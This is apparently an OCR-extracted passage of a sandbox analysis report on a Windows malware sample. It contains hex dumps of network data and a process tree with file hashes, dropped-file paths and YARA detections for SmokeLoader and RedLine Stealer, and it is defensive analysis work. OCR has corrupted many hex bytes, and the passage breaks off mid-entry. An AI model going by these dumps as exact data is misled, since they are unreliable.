ff 9f 60 0d ff 9e 5f 0d ff 9e 5f Oc ff 9d 5e Oc ff 9c 5e Ob ff 9c 5d Ob ff 9b 5d Ob ff 9a 5¢ 0a 80 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00
Data Ascii: ttssrrrggppoonnmmilkkjjihhggffeeddccbbaaa™_ A\
2021-12-01 08:15:23 UTC 4457 IN Data Raw: bb 74 1c ff ba 73 1c ff b9 73 1c ff b9 72 1b ff b8 72 1b ff b7 71 1a ff b7 71 1a ff b6 70 1a ff b5 70 19 ff b5 6f 19 ff

b4 6f 19 ff b3 6e 18 ff b3 6e 18 ff b2 6d 17 ff bl 6d 17 ff bl 6c 17 ff b0 6¢ 16 ff af 6b 16 ff af 6b 15 ff ae 6b 15 ff ad 6a 15 ff
ad 6a 14 ff ac 69 14 ff ab 69 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a7 66 12 ff a7 65 12 ff a6 65 11
ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 Of ff a2 62 0f ff al 61 Oe ff al 61 Oe ff a0 60 Oe ff 9f 60 0d ff 9f 5f Od ff
9 d1 9b ff 9d 5f Oc ff 9d 5e Oc ff 9c 5e Ob ff 9b 5d Ob ff 9b 5d Oa ff 9a 5¢ Oa bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00

Data Ascii: tssrrqgppoonnmmllkkkjjiihhggffeeddccbbaa™ M)\
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2021-12-01 08:15:23 UTC 4473

2021-12-01 08:15:23 UTC 4489

2021-12-01 08:15:23 UTC 4505

2021-12-01 08:15:23 UTC 4521

2021-12-01 08:15:23 UTC 4537

2021-12-01 08:15:23 UTC 4553

2021-12-01 08:15:23 UTC 4569

2021-12-01 08:15:23 UTC 4585

2021-12-01 08:15:23 UTC 4601

2021-12-01 08:15:23 UTC 4617

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: b7 71 1a ff b7 71 1a ff b6 70 1a ff b5 70 19 ff b5 6f 19 ff b4 6f 19 ff b4 6e 18 ff b3 6e 18 ff b2 6e 17 ff b2 6d 17 ff
b1 6d 17 ff b0 6¢ 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 14 ff ad 69 14 ff ac 69 14 ff ab 69 13 ff ab 68 13 ff
aa 68 13 ffa9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a6 64 11 ff a5 64 11 ff a4 63 10 ff a4 63 10
ff a3 63 Of ff a2 62 Of ff a2 62 Of ff al 61 Oe ff a0 61 Oe ff a0 60 0d ff 9f 60 0d ff f3 ca 92 ff f3 ca 92 ff 9d 5e Oc ff 9d 5e Oc ff
9c 5d Ob ff 9b 5d Ob ff 9b 5c¢ Oa ff 9a 5¢ 0a 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

Data Raw: b2 6d 17 ff b1 6d 17 ff b1 6¢c 17 ff b0 6¢ 16 ff b0 6¢ 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 15 ff ad 6a 14 ff

ac 69 14 ff ac 69 13 ff ab 68 13 ff aa 68 13 ff aa 67 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a6 65 11 f
fab 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 Of ff a2 62 Of ff a2 61 Of ff a1 61 Oe ff a0 61 Oe ff a0 60 Od

ff dO 9c 59 ff ff d9 a5 ff ff d9 a5 ff b5 7d 32 ff 9d 5e Oc ff 9c 5d 0b ff 9b 5d Ob ff 9b 5d Oa ff 9a 5¢ 0Oa ef 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00

Data Raw: ab 68 13 ff ab 68 13 ff aa 68 13 ff aa 67 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a7 65 11
ff a6 65 11 ff a5 64 11 ff a5 64 11 ff a4 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 0f ff a2 62 Of ff a2 62 Of ff a1l 61 Oe ff al 61 Oe f
f a0 60 Oe ff dO 9c 59 ff ff d9 a5 ff ff d9 a5 ff ff d9 a5 ff c8 93 4e ff 9d 5e Oc ff 9c 5e Ob ff 9¢ 5d Ob ff 9b 5d 0Ob ff 9b 5¢ Oa ff
9a 5¢ 0a 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Data Ascii: hhhgggffeeedddccbbbaa™Y N\

Data Raw: a3 63 10 ff a3 62 Of ff a2 62 0Of ff a2 62 0Of ff a2 61 Of ff al 61 Oe ff al 61 Oe ff b2 77 2a ff f9 d2 9c ff ff d9 a5 ff ff
d9 a5 ff ff d9 a5 ff ff d9 a5 ff db aa 6b ff 9d 5e Oc ff 9c 5e Ob ff 9¢ 5d 0b ff 9b 5d Ob ff 9b 5d 0Ob ff 9a 5¢ Oa ff 9a 5¢ 0a 70 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: cbbbaaaw*k*]]\\p

Data Raw: 9b 5d 0b ff 9a 5¢ Oa ff 9a 5¢ 0a cf 9a 5¢ 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00O

Data Ascii: \WO

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f ff f ff ff cO 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f ff ff ff ff €0 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 7f ff ff ff ff €0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 7f ff ff
ff ff €0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff fO 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
000 00 00 00 00 00 00 00 01 ff ff ff ff ff f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01
ff ff ff ff ff fc 00 00 00 00

Data Ascii: ??

Data Raw: b4 6e 18 ff b4 6f 18 ff b4 6f 18 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4
6f 19 ff b4 6f 18 ff b4 6f 18 ff b4 6e 18 ff b3 6e 18 ff b3 6e 18 ff b3 6e 18 ff b2 6e 17 ff b2 6d 17 ff b2 6d 17 ff bl 6d 17 ff bl
6¢ 16 ff b0 6¢ 16 ff b0 6¢ 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 15 ff ad 6a 14 ff ac 69 14 ff ab 69 13 ff ab 68 13 ff aa
68 13 ff a9 67 13 ff a9 66 13 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a5 64 11 ff a4 64 10 ff a4 63 10 ff a3 62 Of ff a2 62 Of ff al
61 Oe ff a0 60 Oe ff 9f 60 Od ff 9e 5f Oc ff 9d 5e Oc ff 9c 5e Ob ff 9b 5d Ob ff 9a 5¢ Oa f3 9b 5¢ Oa 2f 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Raw: ff ff ff ff ff f ff ff ff ff ff ff ff ff ff ff ff f ff f ff ff ff ff f £F ff £f £ £f £F f £F 6 £ £F £ £F fF £f £F £ £F fF £ £F £ £F 67 £F £F £ £F fF F £F £ £F

ff ff ff ff ff ff ff ff ff ff ff ff f ff ff ff ff ff f3 db cO ff da 93 43 ff d4 85 2b ff d3 84 2a ff d2 84 2a ff d1 83 29 ff cf 82 28 ff ce 81 27 ff
cd 80 27 ff cc 7f 26 ff ca 7e 25 ff c9 7d 24 ff c8 7c 24 ff c7 7b 23 ff c4 7b 22 ff ¢3 7a 21 ff c2 79 21 ff cO 78 20 ff bf 77 1f ff
be 76 1e ff bd 75 le ff bb 74 1d ff ba 73 1c ff b9 72 1b ff b7 71 1a ff b6 70 1a ff b5 6f 19 ff b3 6e 18 ff b2 6d 17 ff bl 6c 17 ff
af 6b 16 ff ae 6a 15 ff ad 6a 14 ff ab 69 13 ff aa 68 13 ff a9 67 13 ff a7 66 12 ff a6 65 11 ff a5 64 10 ff a3 63 10 ff a2 62 Of ff
al 61 Oe ff 9f 60 0d ff 9e 5f Oc ff 9d 5e Oc

Data Ascii: C+**)("&~%}$|${#{"z!y!x wvutsrgponmlkjjihgfedcba™_*

Data Raw: c8 7d 24 ff c9 7d 24 ff c9 7d 24 ff ¢9 7d 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff
€9 7d 25 ff c9 7d 24 ff c9 7d 24 ff c8 7d 24 ff c8 7d 24 ff c8 7c 24 ff c7 7c 23 ff ¢7 7c 23 ff c6 7b 23 ff c5 7b 22 ff c4 7a 22 ff
c3 7a 22 ffc3 79 21 ff c2 79 21 ff c1 78 20 ff cO 78 20 ff bf 77 1f ff bf 76 1f ff be 76 1e ff bd 75 1e ff bc 74 1d ff bb 74 1d ff
ba 73 1c ff b9 72 1b ff b8 72 1b ff b7 71 1a ff b6 70 1a ff b5 6f 19 f b4 6f 18 ff b3 6e 18 ff b2 6d 17 ff b1 6c 16 ff af 6b 16 ff
ae 6b 15 ff ad 6a 14 ff ac 69 14 ff ab 68 13 ff aa 67 13 ff a9 67 13 ff a7 66 12 ff a6 65 11 ff a5 64 11 ff a4 63 10 ff a3 62 Of ff
a2 61 Of ff a0 61 Oe ff ae 73 24 ff fd d7 a2 ff b5 7c 32 ff 9c 5d Ob ff 9a 5¢ Oa ff a3 67 18 24 00 00 00 00 00 00 00

Data Ascii: }$}$}$}%~%~%~%~%~%~%}%0}$}$}$}$|S|#|#H{#{"z"2"yly!x x wvvuttsrrgpoonmlikkjihggfedchaas$|2]\g$
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kBytes

Timestamp transferred Direction
2021-12-01 08:15:23 UTC 4633 IN
2021-12-01 08:15:23 UTC 4649 IN
2021-12-01 08:15:23 UTC 4665 IN
2021-12-01 08:15:23 UTC 4681 IN
2021-12-01 08:15:23 UTC 4697 IN
2021-12-01 08:15:23 UTC 4713 IN
2021-12-01 08:15:23 UTC 4729 IN

Code Manipulations

Statistics

Behavior

o)

Click to jump to process

System Behavior

Copyright Joe Security LLC 2021

Data

Data Raw: d7 a7 66 ff e2 b4 77 ff e7 ba 7e ff f3 c9 92 ff f3 ¢9 92 ff f3 c9 92 ff fd d7 a2 ff fc d5 a0 ff f3 c9 92 ff f3 ¢9 92 ff f1
c7 8f ff e7 ba 7e ff de b0 72 ff d5 a5 64 ff c9 95 51 ff bc 84 3b ff ac 71 23 ff 9c 5e Ob ff 9c 5d Ob ff 9c 5d Ob ff 9b 5d Ob ff 9b
5d 0Ob ff 9b 5d Oa ff 9a 5¢ Oa ff 9a 5¢ Oa eb 9a 5¢ 0a 9b a7 6¢ 1e 43 ac 72 25 04 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: fw~~rdQ;g#"][])\Cr%

Data Raw: a6 64 11 fe a7 65 12 ff a9 66 12 ff aa 68 13 fe ac 69 13 ff ad 6a 14 ff af 6b 15 fe b0 6¢ 16 ff b2 6d 17 ff b3 6e 18
fe b4 6f 18 ff b6 70 19 ff b7 71 1a fe b8 72 1b ff ba 73 1c ff bb 74 1c fe ff ff f ff ff ff ff ff ff ff ff ff fe fe fe fe ff ff f ff fe fe fe ff f1
e0 cc fe d0 96 50 ff c¢5 7b 23 ff ¢5 7b 22 fe ¢6 7b 23 ff ¢7 7c 23 ff c8 7c 23 fe c8 7c 24 ff c¢8 7d 24 ff c8 7c 24 fe c9 7d 24 ff
€9 7d 24 ff c8 7d 24 fe c8 7d 24 ff ¢8 7d 24 ff ¢8 7c 23 fe c7 7c 23 ff c¢7 7b 23 ff ¢6 7b 23 fe c5 7b 22 ff c4 7a 22 fe c3 79 21
ff c2 79 21 ff c1 78 20 fe cO 77 1f ff bf 77 1f ff be 76 1e fe bd 75 1d ff bc 74 1d ff ba 73 1c fe b9 72 1b ff b8 71 1b ff b6 70 1a
fe b5 6f 19 ff b4 6e 18 ff b2 6d 17 fe b1 6¢ 16 ff af 6b 16 ff ae 6a 15 fe ac 69 14 ff ab 68 13 ff a9 67 12

Data Ascii: defhijkimnoparstP{#{"{#[#|#|$}3|$}$}$}S}S1S[##{#{#{"2"y!ly!x wwvutsrgponmlkjihg

Data Raw: a4 63 Of ff a2 62 Of ff al 61 Oe fe c6 91 4b ff f3 ca 92 ff a9 6d 1f fe 9b 5c Oa fb a4 68 19 4c 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 68 19 4d 9a 5¢ Oa f9 a5
68 18 fe f5 cc 96 fe dO 9e 5a fe a0 60 Oe fe a2 61 Oe fe a3 63 Of fe a5 63 10 fe a6 65 11 fe a7 66 12 fe a9 66 12 fe aa 67 12
fe ab 68 13 fe ad 69 14 fe ae 6a 15 fe af 6b 15 fe b0 6¢ 16 fe b1 6d 17 fe b2 6e 17 fe b4 6e 18 fe b5 6f 19 fe b6 70 19 fe b7
70 1afe b8 71 1afe b8 72 1b fe b9 72 1b fe ba 73 1c fe bb 73 1c fe bb 74 1d fe bc 74 1d fe bc 75 1d fe bd 75 1e fe bd 75
le fe be 76 1e fe be 76 le fe be 76 le

Data Ascii: chaKm\hLhM\hZ acceffghijklmnnoppgrrssttuuuvvv

Data Raw: a9 67 12 ff ab 68 13 ff ad 69 14 ff af 6b 15 ff b1 6¢ 16 ff b3 6e 17 ff b4 6f 19 ff b6 70 1a ff b8 72 1b ff ba 73 1c ff
dd b9 8d ff ff ff ff ff ff f f ff ff ff ff ff fd fb fO ff e2 bf 96 ff c6 81 2d ff c5 7b 22 ff c6 7b 23 ff ¢7 7c 23 ff ¢8 7c 23 ff c8 7c 24 ff c8
7c 24 ff c8 7d 24 ff ¢8 7c 24 ff ¢8 7c 24 ff ¢7 7c 23 ff ¢7 7c 23 ff ¢6 7b 23 ff c5 7a 22 ff ¢3 7a 21 ff c2 79 21 ff c1 78 20 ff cO

77 1f ff be 76 1e ff bd 75 1d ff bb 74 1d ff ba 73 1c ff b8 71 1b ff b6 70 19 ff b4 6f 18 ff b2 6d 17 ff b1 6¢ 16 ff af 6b 15 ff ad

69 14 ff ab 68 13 ff a8 66 12 ff a7 65 11 ff a4 63 10 ff a2 62 Of ff a0 60 Oe ff 9e 5f Oc ff 9c 5d 0Ob ff 9a 5¢ 0a 9a 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: ghikinoprs-{"{#[#|#|$|$}$|$|$|#[#{#z"z!y!x wvutsgpomlkihfecb’_]\

Data Raw: 9e 5e Oc ff 9d 5e Oc ff 9d 5e Ob ff 9c 5d 0b ff 9c 5d Ob ff 9b 5e Oe fc 9d 6f 33 e5 a0 87 66 bc a3 9e 99 87 a4 a4
ad 7fad ad ad 7fad ad a4 7f ad a4 a4 7d a4 a4 a4 73 a4 a4 a4 65 a4 a4 a4 60 a4 a4 a4 60 a4 a4 a4 5d a4 a4 a4 51 a4 a4
a4 46 a4 a4 a4 41 a4 a4 a4 37 a4 a4 a4 2d a4 a4 a4 24 a4 a4 a4 18 a4 a4 a4 Ob a4 a4 a4 02 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 a4 a4 01 a4 a4 a4 02 a4 a4 a4 04
a4 a4 a4 06 a4 a4 a4 07 a4 a4 a4 0a a4 a4 a4 0d a3 a3 a3 Oe a3 al 9e Oe a3 a0 9c 10 a3 9e 98 15 a3 9¢ 93 19 al 90 7a
3f 9d 73 3b aa 9b 5d Oc 7 9c 5d Ob ff 9d 5e 0Ob ff 9e 5e Oc ff 9e 5f Oc ff 9f 5f 0d ff 9f 60 0d ff a0 60 0d ff a0 60 0d ff a0 61 Oe
ffal 61 Oe ff al 61 Oe ff al 61 Oe ff a0 61 Oe

Data Ascii: “\J03f}se " |QFA7-$z?s;]]*__"aaaaa

Data Raw: 9f 60 0d ff 9f 5f 0d fe 9e 5f Oc fe 9e 5f Oc ff 9d 5e Oc fe 9c 5d Ob fe 9c 60 12 f8 9e 74 3d cb al 8f 77 7d a3 a2 al
47a3a3a346 a4 a4 a4 3fa3a3al332a3al3a32fad adad2e a3a3a325a3a3a31dad a4 a4 18 a3 a3 a3 10a3a3

a3 0b a4 a4 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a3 al 9e 01 al 97 89 01 a0 8b 70 01 e 7c 4e 28 9c 68 24 ac 9c 5d Oc fa 9d
5e Oc ff 9e 5f Oc fe 9f 60 0d fe a0 60 Oe ff al 61 Oe fe a2 62 Oe fe a2 62 Of ff a3 62 Of fe a3 62 Of fe a3 62 Of ff a2 62 Of fe a2
62 0f fe a1 61 Oe ff al 61 Oe fe a0 60 0d fe 9f 5f Oc ff 9d 5e Oc fe 9c 5d Ob fd 9c 64 1b c2 9e 77 43 40 a0 88 69 02 al 93 80
01 a2 9e 98 01 a3 a3 a3 01 00 00 00

Data Ascii: *___"]'t=w}GF?2/.%p|N(h$]"_""abbbbbbbaa"_"]dwC@i

Data Raw: 00 00 00 00 a7 6d 20 64 bf 88 40 f0 b9 7e 32 ff a7 66 13 ff a7 66 11 ff a7 65 11 ff a9 69 17 ff bd 84 3a ff be 87
3f d89c 62 16 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 49 Oc 11 a7
6¢ 1f 6d be 88 40 b0 c0 8a 43 cc c0 8a 43 c8 bb 84 3c a2 a0 65 17 55 67 3f Ob 04 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 80 01 00 00 cO 07 00 00 80 03 00 00 80 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 01 00 00 80 01 00 00 cO 03 00 00 e0 07 00 00 fO Of 00 00 00 00 01 00 09 00 00 00 00 00 00
00 00 00 28 20 04 00 01 00 80 80 00 00 00 00 00 00 28 08 01 00 02 00 60 60 00 00 00 00 00 00 a8 94 00 00 03 00 48 48
00 00 00 00 00 00 88 54 00 00 04 00 40 40 00 00 00 00 00 00 28

Data Ascii: m d@~2ffei:?b7wlim@CC<eUg?( (" HHT@@(
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Analysis Process: v72n86vFFq.exe PID: 7056 Parent PID: 6036

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:13:10

01/12/2021
C:\Users\user\Desktop\v72n86vFFg.exe
true
"C:\Users\user\Desktop\v72n86vFFg.exe"
0x400000

336896 bytes
1A430B2CBF785427C87C48D29A1A8COF
true

true

C, C++ or other language

Reputation: low
Analysis Process: v72n86vFFq.exe PID: 1440 Parent PID: 7056
General
Start time: 09:13:15
Start date: 01/12/2021
Path: C:\Users\user\Desktop\v72n86vFFg.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true
"C:\Users\user\Desktop\v72n86vFFq.exe"
0x400000

336896 bytes
1A430B2CBF785427C87C48D29A1A8COF
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000004.00000002.736880382.0000000000540000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000004.00000002.737014881.0000000001F51000.00000004.00020000.sdmp, Author:

Joe Security

Reputation: low

Analysis Process: explorer.exe PID: 3424 Parent PID: 1440
General
Start time: 09:13:21
Start date: 01/12/2021
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline: C:\Windows\Explorer.EXE
Imagebase: 0x7ff6fee60000
File size: 3933184 bytes
MDS5 hash: AD5296B280E8F522A8A897C96BABOE1D

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

Copyright Joe Security LLC 2021

true
true
C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000006.00000000.724058055.0000000004F41000.00000020.00020000.sdmp, Author:
Joe Security

high

Show Windows behavior
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File Created

File Deleted

File Written

Analysis Process: hiftsuu PID: 796 Parent PID: 968

General

Start time: 09:13:54

Start date: 01/12/2021

Path: C:\Users\user\AppData\Roaming\hiftsuu
Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\hiftsuu
Imagebase: 0x400000

File size: 336896 bytes

MD5 hash: 1A430B2CBF785427C87C48D29A1A8COF
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

i e | et e voe eliox e ]
Reputation: low

‘ Analysis Process: 12F1.exe PID: 6580 Parent PID: 3424 ’

General
Start time: 09:13:57
Start date: 01/12/2021
Path: C:\Users\user\AppData\Local\Temp\12F1.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\12F1.exe
Imagebase: 0xce0000
File size: 1285856 bytes
MD5 hash: 31F17AD58D02772DF14EFAC37D416CD7
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp, Author:
Joe Security
Reputation: moderate
File Activities Show Windows behavior
File Created
File Read

Analysis Process: 1EAA.exe PID: 5572 Parent PID: 3424

General
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https://www.metadefender.com/#!/results/file/bzIxMTIwMXdzdk9GNnc2b1cwRm5OQ2pVTV8/regular/analysis

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

09:14:00

01/12/2021
C:\Users\user\AppData\Local\Temp\1EAA.exe
true
C:\Users\user\AppData\Local\Temp\1EAA.exe
0xe80000

397824 bytes
5115E5DAB211559A85CD0154E8100F53
true

true

.Net C# or VB.NET

e Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable
that has been encoded with base64 twice, Source:
0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable
that has been encoded with base64 twice, Source:
0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: moderate
File Activities Show Windows behavior
File Created
File Written
File Read
Analysis Process: conhost.exe PID: 6920 Parent PID: 5572
General
Start time: 09:14:01
Start date: 01/12/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff724c50000
File size: 625664 bytes
MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Reputation: high
Analysis Process: hiftsuu PID: 6896 Parent PID: 796
General
Start time: 09:14:02
Start date: 01/12/2021
Path: C:\Users\user\AppData\Roaming\hiftsuu
Wow64 process (32bit): true

Copyright Joe Security LLC 2021
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https://www.metadefender.com/#!/results/file/bzIxMTIwMTBWVmJUWHNCTjJTWVRrazBiMzRp/regular/analysis

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Users\user\AppData\Roaming\hiftsuu
0x7ff79e7d0000

336896 bytes
1A430B2CBF785427C87C48D29A1A8COF
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000C.00000002.814172336.0000000000580000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000C.00000002.815844712.0000000002091000.00000004.00020000.sdmp, Author:

Joe Security
Reputation: low
Analysis Process: 361B.exe PID: 6612 Parent PID: 3424
General
Start time: 09:14:06
Start date: 01/12/2021
Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

